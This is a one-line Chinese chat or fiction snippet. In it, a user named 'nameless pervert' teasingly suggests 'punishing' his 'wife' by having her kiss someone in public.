【无名变态：不如就借这个奖励她的机会，让我来当这个坏人，惩罚老婆当着所有人的面，主动吻她一口，好不好啊，老婆？】